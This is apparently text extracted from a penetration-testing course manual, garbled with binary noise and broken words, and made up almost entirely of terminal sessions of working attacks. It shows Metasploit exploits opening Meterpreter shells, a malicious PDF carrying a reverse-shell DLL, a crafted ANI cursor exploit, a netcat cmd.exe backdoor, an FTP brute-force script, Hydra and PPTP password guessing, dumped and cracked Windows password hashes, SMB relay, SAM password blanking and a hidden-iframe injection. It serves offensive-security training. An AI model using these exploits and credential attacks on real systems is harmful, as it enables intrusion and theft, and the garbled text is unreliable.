[*] Transmitting intermediate stager for over-sized  stage...(89 bytes) 

[*] Sending stage (2834 bytes) 

[*] Sleeping before handling stage... 

[*] Uploading DLL (81931 bytes)... 

[*] Upload completed. 

[*] Meterpreter session 1 opened (192.168.8.119:444 4 -> 192.168.9.55:1072) 

 

meterpreter > 
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root@bt:/pentest/exploits/framework3# ./msfconsole  

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0] 

+ -- --=[ 532 exploits - 249 auxiliary 

+ -- --=[ 198 payloads - 23 encoders - 8 nops 

       =[ svn r8749 updated today (2010.03.08) 

msf > show auxiliary  

Auxiliary 

========= 

   Name                               Rank       De scription 

   ----                               ----       -- --------- 

   admin/backupexec/dump              normal     Ve ritas Backup Exec Windows Remote File Access 

   admin/backupexec/registry          normal     Ve ritas Backup Exec Server Registry Access 

   admin/cisco/ios_http_auth_bypass   normal     Ci sco IOS HTTP Unauthorized Administrative Access 
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   admin/db2/db2rcmd                  normal     IB M DB2 db2rcmd.exe Command Execution Vulnerability. 

   admin/mssql/mssql_sql              normal     Mi crosoft SQL Server Generic Query 

   admin/mysql/mysql_enum             normal     My SQL Enumeration Module 

   admin/mysql/mysql_sql              normal     My SQL SQL Generic Query 

   admin/oracle/oracle_login          normal     Or acle Account Discovery. 

   admin/oracle/oracle_sql             normal     O racle SQL Generic Query 

   admin/oracle/oraenum                normal     O racle Database Enumeration 

   admin/oracle/sid_brute              normal     O RACLE SID Brute Forcer. 

   admin/oracle/tnscmd                 normal     T NSLsnr Command Issuer 

   admin/pop2/uw_fileretrieval         normal     U oW pop2d Remote File Retrieval Vulnerability 

   admin/postgres/postgres_readfile    normal     P ostgreSQL Server Generic Query 

   scanner/dcerpc/endpoint_mapper      normal     E ndpoint Mapper Service Discovery 

   scanner/dcerpc/hidden               normal     H idden DCERPC Service Discovery 

   scanner/dcerpc/management           normal     R emote Management Interface Discovery 

   test/capture                        normal     S imple Network Capture Tester 

... 

msf > 
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This vulnerability allows remote attackers to execu te arbitrary code on vulnerable 

installations of Adobe Acrobat and Adobe Reader. Us er interaction is required in that a user 

must visit a malicious web site or open a malicious  file. �
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root@bt:~# wget http://exploit-db.com/sploits/2009-CVE-2009-09 27_package.zip 

root@bt:~# unzip 2009-CVE-2009-0927_package.zip  

root@bt:~# cd CVE-2009-0927_package/  

root@bt:~/CVE-2009-0927_package# nano evil_payload.c  

 

 ���
	���� �*�� .��� ��%����� "
�*� �*�� �����#
�	� ������ ����� ���� ����� ��� "*
�*�%���"���� �� ���������*����

����1�

/* evil_payload.c, reverse remote shell as a DLL 

 * HOWTO compile with MSVC++: 

 * cl /LD evil_payload.c 

 * [Coromputer] raised from the ashes. 

 * 23/06/2009 - Created by Ivan Rodriguez Almuina ( kralor).All rights reserved. 

 */ 

... 

#define HOST "127.0.0.1" 

#define PORT 80 

#define COMMAND "cmd" 

�
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root@bt:~/CVE-2009-0927_package# cd /root/.wine/drive_c/MinGW/bin/ 

root@bt # wine gcc.exe -shared /root/CVE-2009-0927_package/ev il_payload.c -o /root/CVE-2009-
0927_package/output.dll -lws2_32  

/root/CVE-2009-0927_package/evil_payload.c: In func tion `DllMain': 

/root/CVE-2009-0927_package/evil_payload.c:81: warn ing: passing arg 6 of `CreateThread' from 
incompatible pointer type 

root@bt:~/.wine/drive_c/MinGW/bin# cd - 

/root/CVE-2009-0927_package 

root@bt:~/CVE-2009-0927_package# python evil_pdf.py victim.pdf output.dll 

 

      -=[Crpt] Acrobat Reader - Collab getIcon univ eral exploiter [Crpt]=- 

                  created by Ivan Rodriguez Almuina  aka kralor 

                          2009 all rights reserved 

          Coromputer ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Coromputer 

 

[-] Creating PDF file 'victim.pdf' DLL file 'output .dll' ... 

[-] Reading DLL data ... 

[-] Preparing payload (javascript+shellcode+dll) .. . 

[-] Writing PDF file 'victim.pdf' with payload insi de ... 

[+] Done, [Coromputer] is alive! alive! 

root@bt:~/CVE-2009-0927_package# 
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00000000   52 49 46 46  90 00 00 00  41 43 4F 4E  6 1 6E 69 68   RIFF....ACONanih 

00000010   24 00 00 00  24 00 00 00  02 00 00 00  0 0 00 00 00   $...$........... 

00000020   00 00 00 00  00 00 00 00  00 00 00 00  0 0 00 00 00   ................ 

00000030   00 00 00 00  01 00 00 00  61 6E 69 68  5 8 00 00 00   ........anihX... 

00000040   41 41 41 41  41 41 41 41  41 41 41 41  4 1 41 41 41   AAAAAAAAAAAAAAAA 

00000050   41 41 41 41  41 41 41 41  41 41 41 41  4 1 41 41 41   AAAAAAAAAAAAAAAA 

00000060   00 41 41 41  41 41 41 41  41 41 41 41  4 1 41 41 41   .AAAAAAAAAAAAAAA 

00000070   41 41 41 41  41 41 41 41  41 41 41 41  0 0 00 00 00   AAAAAAAAAAAA.... 

00000080   00 00 00 00  00 00 00 00  00 00 00 00  0 0 00 00 00   ................ 

00000090   42 42 42 42  43 43 43 43                             BBBBCCCC �
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root@bt:~# cat ani | cut -d" " -f2-22 |sed 's/ //g' 

524946469000000041434F4E616E6968 

24000000240000000200000000000000 

00000000000000000000000000000000 

0000000001000000616E696858000000 

41414141414141414141414141414141 

41414141414141414141414141414141 

00414141414141414141414141414141 

41414141414141414141414100000000 

00000000000000000000000000000000 

4242424243434343 

root@bt:~# cat ani | cut -d" " -f2-22 |sed 's/ //g' >exploit.h ex 
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<html> 

<body style=”CURSOR: url(‘exploit.ani’)”>Muhahaha</ body> 

</html> 
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bt # /pentest/exploits/framework3/msfpayload windows/she ll_reverse_tcp 
EXITFUNC=none LHOST=192.168.8.99 LPORT=443 R >> exp loit.ani 
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root@bt:~# cd /pentest/exploits/framework3/ 

bt framework3 # ./msfcli |grep -i wmf 

    exploit/windows/browser/ms06_001_wmf_setabortproc  Windows XP/2003/Vista Metafile 

Escape() SetAbortProc Code Execution             

bt framework3 # ./ msfcli exploit/windows/browser/ms06_001_wmf_setabor tproc O  

   Name     Current Setting  Required  Description 

   ----     ---------------  --------  ----------- 

   SRVHOST  0.0.0.0          yes       The local ho st to listen on. 

   SRVPORT  8080             yes       The local po rt to listen on. 

   URIPATH                   no        The URI to u se for this exploit (default is random) 

bt framework3 # ./msfcli exploit/windows/browser/ms06_001_wmf_setab ortproc 

PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.1 68.8.102 SRVPORT=80 URIPATH=0day E  

[*] Started reverse handler 

[*] Using URL: http://0.0.0.0:80/0day 

[*]  Local IP: http://208.68.234.98:80/0day 

[*] Server started. 

[*] HTTP Client connected from 192.168.0.100:1079, sending 1436 bytes of payload... 

[*] Got connection from 192.168.0.155:443 <-> 192.1 68.0.100:1080 
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[*] Sending Intermediate Stager (89 bytes) 

[*] Sending Stage (2834 bytes) 

[*] Sleeping before sending dll. 

[*] Uploading dll to memory (69643), Please wait...  

[*] Upload completed 

meterpreter> 

[ -=    connected to    =- ] 

[ -= meterpreter server =- ] 

[ -=    v.  00000500    =- ] 

meterpreter> 
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85.64.228.230  80  irc.freenode.net  6667  

+*������� 
����( �������%���������������%����*���������������������( 71�

C:\> nc -nv 85.64.228.230 80 

(UNKNOWN) [85.64.228.230] 80 (?) open 

NOTICE AUTH :*** Looking up your hostname... 

NOTICE AUTH :*** Checking ident 

NOTICE AUTH :*** No identd (auth) response 

NOTICE AUTH :*** Found your hostname 
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root@bt:~# nc -v 208.69.121.74 995 

vnemous.nexcess.net [208.69.121.74] 995 (pop3s) ope n 

 

^C punt! 

root@bt:~#  
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cert = /usr/local/etc/stunnel/mail.pem; Don’t forge t to download a default cert. 

 

; Some security enhancements for UNIX systems - com ment them out on Win32 

chroot = /usr/local/var/lib/stunnel/  

setuid = nobody 

setgid = nogroup 

pid = /stunnel.pid 

 

client = yes 

 

; Service-level configuration 

 

[pop3s] 

accept  = 127.0.0.1:110 

connect = 208.69.121.74:995 

-���������������%����*�������"��������������������� ���*�����@����������
����������*���	*������
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root@bt:~# openssl req -new -x509 -days 3650 -nodes -out stunn el.pem - keyout 
stunnel.pem 

root@bt:~# mv stunnel.pem /usr/local/etc/stunnel/mail.pem  

root@bt:~# stunnel 

root@bt:~# nc -v 127.0.0.1 110 

localhost [127.0.0.1] 110 (pop3) open 

+OK Hello there. 

USER myusername 

+OK Password required. 

PASS mypassword 

-ERR Login failed. 

QUIT 

+OK Better luck next time. 

root@bt:~#  
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root@bt:~# nc -nvv 85.64.228.230 8888 

(UNKNOWN) [85.64.228.230] 8888 (?) open 

CONNECT 85.64.226.117:3030 HTTP/1.0 

 

HTTP/1.0 200 Connection established 

Proxy-agent: tinyproxy/1.6.3 

 

Microsoft Windows XP [Version 5.1.2600] 

(C) Copyright 1985-2001 Microsoft Corp. 

 

C:\WINDOWS\system32> ipconfig 

ipconfig 

Windows IP Configuration 

 

Ethernet adapter Local Area Connection 2: 

 

        Connection-specific DNS Suffix  . : 

        IP Address. . . . . . . . . . . . : 85.64.2 26.117 

        Subnet Mask . . . . . . . . . . . : 255.255 .255.0 

        Default Gateway . . . . . . . . . : 85.64.2 26.1 

 

C:\WINDOWS\system32> 
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C:\WINDOWS\system32> nc -lvp 3030 -e cmd.exe 

listening on [any] 3030 ... 

connect to [85.64.226.117] from [85.64.228.230] 481 22 
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root@bt:~# proxytunnel -a 80 -p 85.64.228.230:8888 -d 85.64.22 6.117:3030 

root@bt:~# nc -v 127.0.0.1 80 

localhost [127.0.0.1] 80 (http) open 

Microsoft Windows XP [Version 5.1.2600] 

(C) Copyright 1985-2001 Microsoft Corp. 

C:\WINDOWS\system32> ipconfig 

Windows IP Configuration 

Ethernet adapter Local Area Connection 2: 

        IP Address. . . . . . . . . . . . : 85.64.2 26.117 

        Subnet Mask . . . . . . . . . . . : 255.255 .255.0 

        Default Gateway . . . . . . . . . : 85.64.2 26.1 

 

C:\WINDOWS\system32> 
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plink -l root -pw password -C -R 3389 : 127.0.0.1 : 3389  <anne's IP> 
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root@bt:~# ftp 192.168.0.112 

Connected to 192.168.0.112. 

220 Welcome to Code-Crafters - Ability Server 2.34.  

Name (192.168.0.112:root): muts 

331 Please send PASS now. 

Password: 

530 Bad password, please restart from USER. 

Login failed. 

ftp> quit 
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221 Thanks for visiting. 

root@bt:~#  
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root@bt:~# ftp 192.168.0.112 

Connected to 192.168.0.112. 

220 Welcome to Code-Crafters - Ability Server 2.34.   

Name (192.168.0.112:root): ftp 

331 Please send PASS now. 

Password: 

230- Welcome to Code-Crafters - Ability Server 2.34 . 

230 User 'ftp' logged in. 

Remote system type is UNIX. 

Using binary mode to transfer files. 

ftp> quit 

221 Thanks for visiting. 

root@bt:~#  
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#!/usr/bin/python 

import socket 

import re 

import sys 

 

def connect(username,password): 

        s = socket.socket(socket.AF_INET, socket.SO CK_STREAM) 

        print "[*] Trying " + username + ":" + pass word 

        s.connect(('192.168.0.112',21)) 

        data = s.recv(1024) 

        s.send('USER ' + username + '\r\n') 

        data = s.recv(1024) 

        s.send('PASS ' + password + '\r\n') 

        data = s.recv(3) 

        s.send('QUIT\r\n') 

        s.close() 

        return data 

 

username = "ftp" 

passwords = ["test","backup","password","12345","ro ot","administrator","ftp","admin"] 

for password in passwords: 

        attempt=connect(username,password) 

        if attempt == "230": 

                print "[*] Password found: "+ passw ord 

                sys.exit(0) 

+*
�� ���
��� �6��
���� �*��3+�� �����	�� 	
���� ������ �* �� ��	
��A (����9� 
.
���,E- B� ���� �*��#�� ��� ���� 
�� 
��

�����
����*��3+���07������	��A �	)���
����

��� B��



�

�!!�

�

-���
�	��*
�����������*��3+�������������
�����*���� ���"
�	�������1�

root@bt:~# ./ftpbrute.py 

[*] Trying ftp:test 

[*] Trying ftp:backup 

[*] Trying ftp:root 

[*] Trying ftp:administrator 

[*] Trying ftp:ftp 

[*] Password found: ftp 

root@bt:~#  
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root@bt:~# hydra -l ftp -P passwords.txt -v 192.168.0.112 ftp 

Hydra v5.3 (c) 2006 by van Hauser / THC - use allow ed only for legal purposes. 

Hydra (http://www.thc.org) starting at 2006-11-04 1 6:41:48 

[DATA] 16 tasks, 1 servers, 22 login tries (l:1/p:2 2), ~1 tries per task 

[DATA] attacking service ftp on port 21 

[VERBOSE] Resolving addresses ... done 

[STATUS] attack finished for 192.168.0.112 (waiting  for childs to finish) 

[21][ftp] host: 192.168.0.112   login: ftp   passwo rd: ftp 

Hydra (http://www.thc.org) finished at 2006-11-04 1 6:41:58 

root@bt:~#  

.���������������	�0��"	�

root@bt:~# hydra -l muts -P passwords.txt -v 192.168.0.112 pop 3 

Hydra v5.3 (c) 2006 by van Hauser / THC - use allow ed only for legal purposes. 

Hydra (http://www.thc.org) starting at 2006-11-04 1 6:44:44 

[DATA] 16 tasks, 1 servers, 22 login tries (l:1/p:2 2), ~1 tries per task 

[DATA] attacking service pop3 on port 110 

[VERBOSE] Resolving addresses ... done 

[110][pop3] host: 192.168.0.112   login: muts   pas sword: password 

[VERBOSE] Skipping current login as we cracked it 

[STATUS] attack finished for 192.168.0.112 (waiting  for childs to finish) 

Hydra (http://www.thc.org) finished at 2006-11-04 1 6:44:49 

root@bt:~#  
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root@bt:~# hydra -P passwords.txt -v 192.168.0.112 snmp 

Hydra v5.3 (c) 2006 by van Hauser / THC - use allow ed only for legal purposes. 

Hydra (http://www.thc.org) starting at 2006-11-04 1 7:01:10 

[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:2 3), ~1 tries per task 

[DATA] attacking service snmp on port 161 

[VERBOSE] Resolving addresses ... done 

[161][snmp] host: 192.168.0.112   login:    passwor d: manager 

[VERBOSE] Skipping current login as we cracked it 

[STATUS] attack finished for 192.168.0.112 (waiting  for childs to finish) 

Hydra (http://www.thc.org) finished at 2006-11-04 1 7:01:15 

root@bt:~#  

.����4�-�"�������(� �����	�0��"	�

root@bt:~# dos2unix words 

dos2unix: converting file words to UNIX format ... 

root@bt:~# cat words |thc-pptp-bruter 192.168.0.112 

PPTP Connection established. 

Hostname '', Vendor 'Microsoft Windows NT', Firmwar e: 2195 

5 passwords tested in 0h 00m 00s (5.00 5.00 c/s) 

390 passwords tested in 0h 00m 05s (77.00 78.00 c/s ) 

789 passwords tested in 0h 00m 10s (79.80 78.90 c/s ) 

1192 passwords tested in 0h 00m 15s (80.60 79.47 c/ s) 

1578 passwords tested in 0h 00m 20s (77.20 78.90 c/ s) 

1648 passwords tested in 0h 00m 20s (83.33 82.40 c/ s) 

Password is 'manager' 
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root@bt:/pentest/passwords/cewl# ruby cewl.rb --help  

cewl 3.0 Robin Wood (dninja@gmail.com) (www.diginin ja.org) 

 

Usage: cewl [OPTION] ... URL 

        --help, -h: show help 

        --depth x, -d x: depth to spider to, defaul t 2 

        --min_word_length, -m: minimum word length,  default 3 

        --offsite, -o: let the spider visit other s ites 

        --write, -w file: write the output to the f ile 

        --ua, -u user-agent: useragent to send 

        --no-words, -n: don't output the wordlist 

        --meta, -a file: include meta data, optiona l output file 

        --email, -e file: include email addresses, optional output file 

        --meta-temp-dir directory: the temporary di rectory,default /tmp 

        -v: verbose 

 

        URL: The site to spider. 

 

root@bt:/pentest/passwords/cewl# ./cewl.rb -d 1 -w pass.txt http://www.offsec.com/ab out.php  

root@bt:/pentest/passwords/cewl# cat passwords.txt |wc -l  

430 

root@bt:/pentest/passwords/cewl# 
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root@bt:~# cp -rf /pentest/windows-binaries/passwd-attack/pwdu mp6/  /tmp/pwdump 

bt framework3 # ./msfcli exploit/windows/smb/ms06_040_netapi RHOST= 192.168.0.112 
PAYLOAD=windows/meterpreter/bind_tcp E 

[*] Started bind handler 

[*] Detected a Windows 2000 target 

[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188 :3.0@ncacn_np:192.168.0.112[\BROWSER] 
... 

[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3 .0@ncacn_np:192.168.0.112[\BROWSER] ... 

[*] Building the stub data... 

[*] Calling the vulnerable function... 

[*] Transmitting intermediate stager for over-sized  stage...(89 bytes) 

[*] Sending stage (2834 bytes) 

[*] Sleeping before handling stage... 
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[*] Uploading DLL (73739 bytes)... 

[*] Upload completed. 

[*] Meterpreter session 1 opened (192.168.0.111:400 91 -> 192.168.0.112:4444) 

 

meterpreter > upload -r /tmp/pwdump c:\\winnt\\system32\\ 

[*] uploading  : /tmp/pwdump/PwDump.exe -> c:\winnt \system32\\PwDump.exe 

[*] uploaded   : /tmp/pwdump/PwDump.exe -> c:\winnt \system32\\PwDump.exe 

[*] uploading  : /tmp/pwdump/LsaExt.dll -> c:\winnt \system32\\LsaExt.dll 

[*] uploaded   : /tmp/pwdump/LsaExt.dll -> c:\winnt \system32\\LsaExt.dll 

[*] uploading  : /tmp/pwdump/pwservice.exe -> c:\wi nnt\system32\\pwservice.exe 

[*] uploaded   : /tmp/pwdump/pwservice.exe -> c:\wi nnt\system32\\pwservice.exe 

meterpreter > execute -f cmd -c 

Process 1996 created. 

Channel 8 created. 

meterpreter > interact 8 

Interacting with channel 8... 

 

Microsoft Windows 2000 [Version 5.00.2195] 

(C) Copyright 1985-2000 Microsoft Corp. 

C:\WINNT\system32> pwdump \\127.0.0.1 

pwdump \\127.0.0.1 

Using pipe {601E5D26-81AA-4DFE-8FD4-DF4B79603D95} 

Key length is 16 

Administrator:500:7E6DA418E261F2E8AAD3B435B51404EE: F938B53B982F22CD6B1C14AE10665480::: 

bob:1007:92315C8B485693A7AAD3B435B51404EE:E0C32CDA6 F6ECC163F442D002BBA3DAF::: 

david:1006:701E323A546B75899F78CD05E5BE4E2E:CCFAFD1 12C6417E236BE9897692CB019::: 

goliath:1008:E9A1D031141501CF4207FD0DF35A59A8:EC7F0 289A3B2AE80453E508E746F1BA9::: 

Guest:501:NO PASSWORD*********************:NO PASSW ORD*********************::: 

… 

samuel:1009:9E3C4A013FF8123DAAD3B435B51404EE:7F1FC5 A10925F8CC81AA6B29E5734BAF::: 
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Completed. 

pwdump6 Version 1.4.2 Copyright 2006 foofus.net 

C:\WINNT\system32> 

+*���� ���� �/� *��*��� �*��� ���� ��� ����#��� ���
�%� ��
� 	� >�*�� �*�� -
����� ��� -�
���"������� A���*�

�
��������
�������
�	�����
���B��

��� %��� ���� �����
�
��� "
�*� �/� *��*��H� ������� ����� � *�� �����"
�	� ���
���1�

*���1&&���"
#
���
����	&"
#
&�/U*��* ��

.��4���@�*���*	�+���	��

��� �����
���� �%� 
��� ���*���H�>�*�� �*�� -
�����A>+-B� 
�� �� ����� ����"���� ����#��H� ��������%� ���
������ ��� �

���%� �������� ��� 9�
6H� �
���"�H� .<�H� ��<�H� ���� <���' /��� ���� ��
���%� �������� 
�� ��� ������� "��#�

����"������ ���
���� �������� ��%��A0B� ����"���� *��*� � %���� ����� �������%� ������ ��� ���
���� 9�
6�

�������H�������������������*����6�����$���������3�� �����
���"���+&�777&O�&�770��/�*��*��H������

�������������"
�*������
����������*�����

>+-��������������������#��/�*��*��H����%����������� 
���*�������"
�	��6�������

 �������*���
���*��*����6��"
�*��*�������"
�	�
���� ���
�	�*��*��1�

Administrator:500:7E6DA418E261F2E8AAD3B435B51404EE: F938B53B982F22CD6B1C14AE10665480::: 

bob:1007:92315C8B485693A7AAD3B435B51404EE:E0C32CDA6 F6ECC163F442D002BBA3DAF::: 

david:1006:701E323A546B75899F78CD05E5BE4E2E:CCFAFD1 12C6417E236BE9897692CB019::: 

goliath:1008:E9A1D031141501CF4207FD0DF35A59A8:EC7F0 289A3B2AE80453E508E746F1BA9::: 

samuel:1009:9E3C4A013FF8123DAAD3B435B51404EE:7F1FC5 A10925F8CC81AA6B29E5734BAF::: 

�
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bt run #  ./john hashes.txt 

Loaded 7 password hashes with no different salts (N T LM DES [32/32 BS]) 

GOLIATH          (goliath:1) 

12               (goliath:2) 

BABYLON          (samuel) 

MANAGER          (Administrator) 

MYPASS           (bob) 

guesses: 5  time: 0:00:00:37 (3)  c/s: 6693K  tryin g: 44286R1 - 44284M2 

guesses: 5  time: 0:00:00:39 (3)  c/s: 6630K  tryin g: MS6ARSI - MS6ARU7 
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root@bt:~# cat hashes.txt |grep david > crackme 

root@bt:~# mv crackme /mnt/tables/ 

bt tables # rcrack  *.rt  -f  crackme 

lm_alpha-numeric-symbol32-space#1-7_0_15200x6710886 4_0.rt: 

201170944 bytes read, disk access time: 0.64 s 

verifying the file... 

searching for 2 hashes... 

... 

lm_alpha-numeric-symbol32-space#1-7_0_15200x6710886 4_1.rt: 

201170944 bytes read, disk access time: 0.75 s 

verifying the file... 

searching for 2 hashes... 

cryptanalysis time: 2.64 s 

... 

67887104 bytes read, disk access time: 0.19 s 

searching for 2 hashes... 

plaintext of 9f78cd05e5be4e2e is 0-RD@#^ 

cryptanalysis time: 0.69 s 

... 

201170944 bytes read, disk access time: 0.44 s 

searching for 1 hash... 

plaintext of 701e323a546b7589 is MYP@55W 

cryptanalysis time: 0.38 s 

 

statistics 

--------------------------------------------------- ---- 

plaintext found:          2 of 2 (100.00%) 
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total disk access time:   13.33 s 

total cryptanalysis time: 328.30 s 

total chain walk step:    230994402 

total false alarm:        6670 

total chain walk step due to false alarm: 33851285 

 

result 

--------------------------------------------------- ---- 

david           MYP@55w0-rD@#^  hex:4d5950403535773 02d724440235e 

localhost tables # 

4��� ���� ���� �*��� �%� ��
�	� �*�� �/� ��
���"� ������H�%� �� ����#��� �*�� ������6H� 
8@�*�������� ����"����

/4�Y22"7@�.Y^_ �
��������*������
��������

�� "��� 
��������� ��� �� ���� ��� �/� *��*� -�
���"� +������ 
�� ������
���� �
�� *���1&&����#���������
��@

�����
�%���� ��

4�����%������*
������#����������#����
�����/�*��*�� �%�������������
���*���������������
���
����*���

�*���S���
�������
���
������#
�	�*��*��������	
�	�� ���%��������������*����+���������9���H�:����H����/H �

�9�-���������H������������*��������
�
��H��*�����
� 
������������"����������������*
��������������*���


8��*������������	������*�������������������������� �*
���%������*��*�����#
�	��

� �



�

�(,�

�

.��4�5�G�����#��,�	���)!�FFFFH�

+*�� �
���"�� ������
�	� �%����� *��� �� ��
;��� �������� 
 �� 
��� �/�� ��������H� �������� �
���� �*�� ��%�� ���

�+8��  ���
���� �*�� �����"
�	� ������
�1�  �������� �� 
� � ��%
�	���� ������� �� �*���� ��� ��������� ��� .��
�	�

�*
���������H�������������������*���������������*�� *�������"��������*����������%���		��@���������

 �����������*��#��
���*���������
������������������ �����������*�
����"�������*�%���H��*������������

�����������
��	
���������������*���*����"
�*������
 �	��������������������"�����

�

��� �*�� ��������� ����� ���� �6
��� ��� ��������� �H� �*�� � ���� ��� ��������� �� 
�� ��������� ��� ������ ��

�����������������"����
�������������������*���*���� ��*��S��"���	�"
�*��*
���
�����C�



�

�,7�

�

��� �����#��� ��� ��������� �� ���� ���
��� �*�� ����� ��� �� ������� �� ��� �������� ��� *
�� �*���� "*
���

�
�����������%� ����
�	� �� ��
������ +*�� ����� ��� ����� ���� �� "
��� ����� *
�� *��*��� ����"���H� "*
�*� 
��

��������� ���� ����#��� �%� �*�� �����#��� ��� ��������� �� � 9���� �� ��"� *��� ����� �K�� ��������� ����

����"�����

+*
�����*�
;������������*�����1�<�����*�������#���� �����������������
�����*��*��*�������"���������

�*�� ����� ��� ��������� �H� *�� �
���%� ����%�� �*�� ������ ��� ����&*��*� ������ ���#� ��� �*�� ��
	
���
�	�

���*
���������;������������*���
����������
����+*
� �
�������"
�*�����*��������������#��*��*��*T�

+*��/�������
��3����"��#�*����������%��������� ������������� ���������:
�����*���������
�
�����
���

����� ��������� ��� �*�� ��
�� �*���H� /�������
�� "
��� �� ��%� �*
�� *��*� ���#� ��� �*�� ��
	
������ ���� ��%� ���

�6�����������"
�*��*������K����
�
��	����

����������*�
������������
���������
��
�������*
��� ����#����������������1�

*���1&&���	���������
�����&�77(&

&��7(@7�!@������� �
�@���@���@����%�*��� �

+*�����
�H�������������
��/�������
���/�����6%1�

bt framework3 # ./msfcli exploit/windows/smb/smb_relay PAYLOAD=wind ows/meterpret                                                             

er/reverse_tcp LHOST=192.168.8.116 E 

[*] Started reverse handler 

��6�H� �
������ �*�� �
���"�� �
��"���� ���%����O�� ���� � ��*
��� ���� �������� ����� 
�� ��� �*�� /�������
��

�/��������1��

�



�

�,
�

�

����*�
���"������*���
��
��	����*��#�������
������
 ����1�

bt framework3 # ./msfcli exploit/windows/smb/smb_relay 
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.1 68.8.116 E  

[*] Started reverse handler 

[*] Server started. 

[*] Received 192.168.9.55:1038 CLIENT055\offsec 
LMHASH:8b2e31fd6d6fc3ce38363366568cd241f80d81146e92 ec16  

OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002  5.1 

[*] Authenticating to 192.168.9.55 as CLIENT055\off sec... 

[*] AUTHENTICATED as CLIENT055\offsec... 

[*] Connecting to the ADMIN$ share... 

[*] Regenerating the payload... 

[*] Uploading payload... 

[*] Created \facgMIAk.exe... 

[*] Connecting to the Service Control Manager... 

[*] Obtaining a service manager handle... 

[*] Creating a new service... 

[*] Closing service handle... 

[*] Opening service... 

[*] You *MUST* manually remove the service: 192.168 .9.55 (FLudTSke - "MlJdvjQOHX 

[*] You *MUST* manually delete the service file: 19 2.168.9.55 %SYSTEMROOT%\facgM 

[*] Starting the service... 

[*] Transmitting intermediate stager for over-sized  stage...(89 bytes) 

[*] Sending stage (2834 bytes) 

[*] Sleeping before handling stage... 

[*] Uploading DLL (81931 bytes)... 

[*] Upload completed. 

[*] Sending Access Denied to 192.168.9.55:1038 CLIE NT055\offsec 

[*] Received 192.168.9.55:1041 CLIENT055\offsec LMH ASH:fc6189e9360618371568f2584 

[*] Authenticating to 192.168.9.55 as CLIENT055\off sec... 
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[*] AUTHENTICATED as CLIENT055\offsec... 

[*] Ignoring request from 192.168.9.55, attack alre ady in progress. 

[*] Sending Access Denied to 192.168.9.55:1041 CLIE NT055\offsec 

[*] Server stopped. 

[*] Meterpreter session 1 opened (192.168.8.116:444 4 -> 192.168.9.55:1039) 

 

meterpreter > 
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root@bt:~# mount 

tmpfs on / type tmpfs (rw) 

proc on /proc type proc (rw) 

sysfs on /sys type sysfs (rw) 

devpts on /dev/pts type devpts (rw,gid=5,mode=620) 

/dev/sda1 on /mnt/sda1 type ntfs (ro) 

usbfs on /proc/bus/usb type usbfs (rw) 

root@bt:~#  
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root@bt:~# umount /mnt/sda1/ 

root@bt:~# modprobe fuse 

root@bt:~# ntfsmount /dev/sda1 /mnt/sda1/ 

root@bt:~# mount 

tmpfs on / type tmpfs (rw) 

proc on /proc type proc (rw) 

sysfs on /sys type sysfs (rw) 

devpts on /dev/pts type devpts (rw,gid=5,mode=620) 

usbfs on /proc/bus/usb type usbfs (rw) 

/dev/sda1 on /mnt/sda1 type fuse (rw,nosuid,nodev,d efault_permissions,allow_other) 

root@bt:~#  
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root@bt:~# bkhive /mnt/sda1/WINNT/system32/config/system syste m.txt 

Bkhive ncuomo@studenti.unina.it 

 

Bootkey: dc155851060590ee807d3c660a437109 

root@bt:~# samdump2 /mnt/sda1/WINNT/system32/config/sam system .txt >hashes.txt 

Samdump2 ncuomo@studenti.unina.it 

This product includes cryptographic software writte n 

by Eric Young (eay@cryptsoft.com) 

 

No password for user Guest(501) 

root@bt:~# cat hashes.txt 

Administrator:500:7bf4f254b222bb24aad3b435b51404ee: 2892d26cdf84d7a70e2eb3b9f05c425e::: 

Guest:501:aad3b435b51404eeaad3b435b51404ee:::: 

NetShowServices:1001:4e239a9b2c8fca59049021d2a350c0 2c:021c54b8e10a4c420839b49a7cd21a66::: 

IWAM_WIN2KSP4:1004:1cad3d74dee85109bb0b6cba129ef50e :7212a9f44e59a1b73d88fa7d670266db::: 

root@bt:~#  
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root@bt:~# chntpw /mnt/sda1/WINNT/system32/config/SAM 

chntpw version 0.99.3 040818, (c) Petter N Hagen 

Hive's name (from header): <\SystemRoot\System32\Co nfig\SAM> 

ROOT KEY at offset: 0x001020 * Subkey indexing type  is: 666c <lf> 

 

File size 28672 [7000] bytes, containing 6 pages (+  1 headerpage) 

Used for data: 245/19632 blocks/bytes, unused: 8/47 52 blocks/bytes. 

 

* SAM policy limits: 

Failed logins before lockout is: 0 

Minimum password length        : 0 

Password history count         : 0 

RID: 01f4, Username: <Administrator> 

RID: 01f5, Username: <Guest>, *disabled or locked* 

RID: 03eb, Username: <IUSR_WIN2KSP4> 

RID: 03ec, Username: <IWAM_WIN2KSP4> 

RID: 03e9, Username: <NetShowServices> 

RID: 03e8, Username: <TsInternetUser> 

..... 

 

* = blank the password (This may work better than s etting a new password!) 

Enter nothing to leave it unchanged 

Please enter new password: * 

Blanking password! 

 

Do you really wish to change it? (y/n) [n] y 

Changed! 

 

Hives that have changed: 
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 #  Name 

 0  </mnt/sda1/WINNT/system32/config/SAM> 

Write hive files? (y/n) [n] : y 

 0  </mnt/sda1/WINNT/system32/config/SAM> - OK 

root@bt:~#  

root@bt:~# umount /mnt/sda1/ 

root@bt:~# reboot 
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<script> 

<iframe SRC="http://192.168.10.14/bogus.php" height  = "0" width ="0"> 

</script> 

<��������
����H��*���
��
�����"�����*�����������	�� �����#���	�H��������������
���
��
�
�
���������*��

�����#
�	����*
���������*���
��
�S�����"���1�

root@bt:~# nc -lvp 80 

listening on [any] 80 ... 

192.168.11.1: inverse host lookup failed: Unknown s erver error : Connection timed out 

connect to [192.168.10.14] from (UNKNOWN) [192.168. 11.1] 1032 

GET /bogus.php HTTP/1.1 

Accept: image/gif, image/x-xbitmap, image/jpeg, ima ge/pjpeg, application/x-shockwave-flash 

Referer: http://127.0.0.1/ 

Accept-Language: en-us 

Accept-Encoding: gzip, deflate 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wind ows NT 5.1; SV1) 

Host: 192.168.10.14 

Connection: Keep-Alive 
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<script> 

